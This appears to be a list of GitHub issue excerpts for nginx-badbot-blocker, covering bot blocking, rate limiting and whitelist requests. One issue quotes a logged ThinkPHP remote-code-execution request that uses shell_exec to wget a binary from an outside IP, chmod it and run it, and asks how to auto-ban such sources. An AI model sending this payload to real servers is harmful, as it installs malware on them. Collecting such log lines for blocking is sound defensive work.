nginx-badbot-blocker
nginx-badbot-blocker copied to clipboard
Block bad, possibly even malicious web crawlers (automated bots) using Nginx
Hello. How to block these bots? ``` ~# tail -f -n 100 /var/log/nginx/access.log 176.28.122.158 - - [16/Sep/2017:16:00:16 +0300] "GET /actor/%D0%A2%D0%B8%D0%BC%D0%BE%D1%82%D0%B8%20%D0%A0%D0%B5%D0%B4%D1%84%D0%BE%D1%80%D0%B4 HTTP/1.1" 200 18298 "-" "Java/1.6.0_24" "-" 199.168.139.211 - - [16/Sep/2017:16:00:16...
Hello. nginx.conf ``` limit_req_zone $binary_remote_addr zone=flood:50m rate=90r/s; ``` ddos.conf ``` limit_req zone=flood burst=200 nodelay; ``` domain.conf ``` include /etc/nginx/bots.d/ddos.conf; ... location /images/ { rewrite "^\/images\/(poster|picture)\/(medium|small)\/.*img([0-9]+).*\.jpg$" "/$1/$2/$3.jpg" break; root /var/local/images; expires...
Experiencing excessive crawling from 45.237.108.30. Please block
Hi, was wondering if you have experience with such requests: `/index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://185.244.25.221/bins/Yowai.x86 -O /tmp/Yowai; chmod 777 /tmp/Yowai; /tmp/Yowai Yowai.x86'` - is it possible to "auto-ban" such IPs ?
Hello, amazing tool but it takes me some try to get it working, I have to say I'm a beginner. The main guide (https://github.com/mariusv/nginx-badbot-blocker) doesn't say anything about this... ###...
ok.ru - it`s social network.
Hello. Add DDoS-Guard - https://ddos-guard.net/en/manual/category/remote-website-protection ``` # ******************** # DDoS-Guard IP Ranges # ******************** # For Safety Sake all DDoS-Guard's Known IP Ranges are all white listed # START DDOS-GUARD...
This is a confirmed bad bot but isn't blocked yet by the blocker: "Mozilla/5.0 (compatible; Daum/4.1; +http://cs.daum.net/faq/15/4118.html?faqId=28966)" This is a request to include blocking this bad bot.
i ve got this error with http/2 when testing blocking curl curl -A "80legs" http://yourdomain.com HTTP/2 stream 1 was not closed cleanly: INTERNAL_ERROR (err 2) is it an error or...